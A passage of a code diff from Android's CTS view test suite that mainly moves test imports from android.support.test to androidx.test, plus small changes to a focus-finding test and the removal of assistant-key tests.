+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
index 00a88ca..a2a50d6 100644
--- a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationControllerTest.java
@@ -21,9 +21,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.res.XmlResourceParser;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -37,6 +34,10 @@
 import android.widget.AbsListView;
 import android.widget.GridView;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
index c3be382..aec6848 100644
--- a/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/GridLayoutAnimationController_AnimationParametersTest.java
@@ -17,10 +17,11 @@
 package android.view.animation.cts;
 
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.GridLayoutAnimationController;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
index 90e7942..2c918a1 100644
--- a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationControllerTest.java
@@ -22,9 +22,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.res.XmlResourceParser;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -41,6 +38,10 @@
 import android.widget.AbsListView;
 import android.widget.ListView;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
index 57e050c..7ca0bc4 100644
--- a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
@@ -16,10 +16,11 @@
 
 package android.view.animation.cts;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.LayoutAnimationController;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
index ddd1be4..15590c6 100644
--- a/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
@@ -22,10 +22,6 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Animation;
@@ -35,6 +31,11 @@
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
index e7961d5..05aca63 100644
--- a/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
@@ -25,10 +25,6 @@
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
 import android.graphics.Matrix;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -38,6 +34,11 @@
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
index c14d151..8aed31e 100644
--- a/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
@@ -24,10 +24,6 @@
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
 import android.graphics.Matrix;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -36,6 +32,11 @@
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/TransformationTest.java b/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
index 0c9e45f..f19d9f9 100644
--- a/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
@@ -22,10 +22,11 @@
 import static org.junit.Assert.assertNotSame;
 
 import android.graphics.Matrix;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.Transformation;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
index ee8b187..e7cd3eb 100644
--- a/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
@@ -16,7 +16,7 @@
 
 package android.view.animation.cts;
 
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -26,9 +26,6 @@
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
 import android.graphics.Matrix;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -38,6 +35,10 @@
 import android.view.animation.TranslateAnimation;
 import android.view.cts.R;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java b/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
index 12bba10..b961af0 100644
--- a/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
+++ b/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
@@ -28,10 +28,11 @@
 
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.AbsSavedState;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java b/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
index 95b1929..d1ed51b 100644
--- a/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
+++ b/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
@@ -20,14 +20,15 @@
 
 import android.content.Context;
 import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ActionMode;
 import android.view.Menu;
 import android.view.MenuItem;
 import android.view.View;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ActionModeTest.java b/tests/tests/view/src/android/view/cts/ActionModeTest.java
index e28173d..ddb998d 100644
--- a/tests/tests/view/src/android/view/cts/ActionModeTest.java
+++ b/tests/tests/view/src/android/view/cts/ActionModeTest.java
@@ -32,15 +32,16 @@
 
 import android.app.Instrumentation;
 import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ActionMode;
 import android.view.Menu;
 import android.view.MenuInflater;
 import android.view.View;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index 145436b..d4a6097 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -18,11 +18,11 @@
 
 import static org.junit.Assert.fail;
 
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerTest.java b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
index a232b51..b156d60 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
@@ -26,11 +26,12 @@
 import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.os.SystemClock;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Choreographer;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java b/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
index 72c89df..b02dee8 100644
--- a/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
+++ b/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
@@ -25,15 +25,16 @@
 import android.app.Instrumentation;
 import android.content.pm.PackageManager;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.ViewParent;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java b/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
index 2e1b929..d05587b 100644
--- a/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
+++ b/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
@@ -26,11 +26,12 @@
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.content.res.TypedArray;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ContextThemeWrapper;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java b/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
index 19aec78..618ca21 100644
--- a/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
+++ b/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
@@ -20,13 +20,14 @@
 
 import android.content.Context;
 import android.os.SystemClock;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.Display;
 import android.view.WindowManager;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index d53d8c3..c2c5731 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -28,15 +28,16 @@
 import android.os.Parcel;
 import android.os.Parcelable;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.DragEvent;
 import android.view.InputDevice;
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 2505111..11e921a 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -22,10 +22,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.FocusFinder;
 import android.view.LayoutInflater;
 import android.view.View;
@@ -33,6 +29,11 @@
 import android.widget.Button;
 import android.widget.FrameLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -121,13 +122,14 @@
          * |   |   |
          * +---+---+
          */
-        Rect rect = new Rect();
-        mTopLeft.getDrawingRect(rect);
-        rect.offset(mTopLeft.getWidth() / 2, 0);
-        rect.inset(mTopLeft.getWidth() / 4, mTopLeft.getHeight() / 4);
+        int buttonHalfWidth = mTopLeft.getWidth() / 2;
+        Rect topRect = new Rect(mTopLeft.getLeft() + buttonHalfWidth,
+                mTopLeft.getTop(),
+                mTopLeft.getRight() + buttonHalfWidth,
+                mTopLeft.getBottom());
 
-        verifytNextFocusFromRect(rect, View.FOCUS_LEFT, mTopLeft);
-        verifytNextFocusFromRect(rect, View.FOCUS_RIGHT, mTopRight);
+        verifytNextFocusFromRect(topRect, View.FOCUS_LEFT, mTopLeft);
+        verifytNextFocusFromRect(topRect, View.FOCUS_RIGHT, mTopRight);
 
         /*
          * Create a small rectangle on the border between the top left and bottom left buttons.
@@ -138,12 +140,14 @@
          * |   |   |
          * +---+---+
          */
-        mTopLeft.getDrawingRect(rect);
-        rect.offset(0, mTopRight.getHeight() / 2);
-        rect.inset(mTopLeft.getWidth() / 4, mTopLeft.getHeight() / 4);
+        int buttonHalfHeight = mTopLeft.getHeight() / 2;
+        Rect leftRect = new Rect(mTopLeft.getLeft(),
+                 mTopLeft.getTop() + buttonHalfHeight,
+                 mTopLeft.getRight(),
+                 mTopLeft.getBottom() + buttonHalfHeight);
 
-        verifytNextFocusFromRect(rect, View.FOCUS_UP, mTopLeft);
-        verifytNextFocusFromRect(rect, View.FOCUS_DOWN, mBottomLeft);
+        verifytNextFocusFromRect(leftRect, View.FOCUS_UP, mTopLeft);
+        verifytNextFocusFromRect(leftRect, View.FOCUS_DOWN, mBottomLeft);
     }
 
     private void verifytNextFocusFromRect(Rect rect, int direction, View expectedNextFocus) {
diff --git a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
index fbac60f..1d741aa 100644
--- a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
@@ -25,14 +25,15 @@
 import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.FrameMetrics;
 import android.view.Window;
 import android.widget.ScrollView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/view/src/android/view/cts/GestureDetectorTest.java b/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
index a9eb7b4..9a1e56b 100644
--- a/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
+++ b/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
@@ -26,14 +26,15 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.SystemClock;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.GestureDetector;
 import android.view.GestureDetector.SimpleOnGestureListener;
 import android.view.MotionEvent;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/GravityTest.java b/tests/tests/view/src/android/view/cts/GravityTest.java
index ccd3921..875d3a7 100644
--- a/tests/tests/view/src/android/view/cts/GravityTest.java
+++ b/tests/tests/view/src/android/view/cts/GravityTest.java
@@ -21,11 +21,12 @@
 import static org.junit.Assert.assertTrue;
 
 import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.View;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/HoverTest.java b/tests/tests/view/src/android/view/cts/HoverTest.java
index d3734c8..036b525 100644
--- a/tests/tests/view/src/android/view/cts/HoverTest.java
+++ b/tests/tests/view/src/android/view/cts/HoverTest.java
@@ -30,14 +30,15 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
 import com.android.compatibility.common.util.CtsMouseUtil.PositionMatcher;
 
diff --git a/tests/tests/view/src/android/view/cts/InflateExceptionTest.java b/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
index 2251210..266e3b4 100644
--- a/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
@@ -18,10 +18,11 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.InflateException;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
index 9a960e2..c7f6591 100644
--- a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
+++ b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
@@ -21,11 +21,12 @@
 
 import android.app.Instrumentation;
 import android.hardware.input.InputManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.InputDevice;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
index 6207b9b..efdfd67 100644
--- a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
@@ -22,13 +22,14 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.KeyCharacterMap;
 import android.view.KeyCharacterMap.KeyData;
 import android.view.KeyEvent;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
index 598552b..478995f 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -21,12 +21,13 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
@@ -36,7 +37,6 @@
 
 import java.util.concurrent.TimeUnit;
 
-
 /**
  * Certain KeyEvents should never be delivered to apps. These keys are:
  *      KEYCODE_ASSIST
@@ -44,6 +44,9 @@
  *      KEYCODE_HOME
  * This test launches an Activity and inject KeyEvents with the corresponding key codes.
  * The test will fail if any of these keys are received by the activity.
+ * Note: The ASSIST tests were removed because they caused a side-effect of launching the
+ * assistant asynchronously (as intended), which causes problems with tests which happen to
+ * be running later and lose focus/visibility because of that extra window.
  */
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -63,16 +66,6 @@
     }
 
     @Test
-    public void testKeyCodeAssist() {
-        testKey(KeyEvent.KEYCODE_ASSIST);
-    }
-
-    @Test
-    public void testKeyCodeVoiceAssist() {
-        testKey(KeyEvent.KEYCODE_VOICE_ASSIST);
-    }
-
-    @Test
     public void testKeyCodeHome() {
         testKey(KeyEvent.KEYCODE_HOME);
     }
diff --git a/tests/tests/view/src/android/view/cts/KeyEventTest.java b/tests/tests/view/src/android/view/cts/KeyEventTest.java
index fde3f81..474301f 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventTest.java
@@ -33,14 +33,15 @@
 import android.os.Parcel;
 import android.os.Parcelable;
 import android.os.SystemClock;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.method.MetaKeyKeyListener;
 import android.view.InputDevice;
 import android.view.KeyCharacterMap;
 import android.view.KeyCharacterMap.KeyData;
 import android.view.KeyEvent;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import junit.framework.Assert;
 
 import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
index e8e764a..4ebfce6 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
@@ -21,12 +21,13 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.KeyboardShortcutGroup;
 import android.view.KeyboardShortcutInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
index b2e809d..3811b73 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertNotNull;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.KeyboardShortcutInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
index 3460525..48b79a6 100644
--- a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
+++ b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
@@ -31,9 +31,6 @@
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.TypedValue;
 import android.util.Xml;
@@ -48,6 +45,10 @@
 import android.view.cts.util.XmlUtils;
 import android.widget.LinearLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 5ee9753..7b63e41 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -22,13 +22,14 @@
 import android.app.UiAutomation;
 import android.content.pm.PackageManager;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.ViewConfiguration;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/MenuInflaterTest.java b/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
index bea5aba..fd3a105 100644
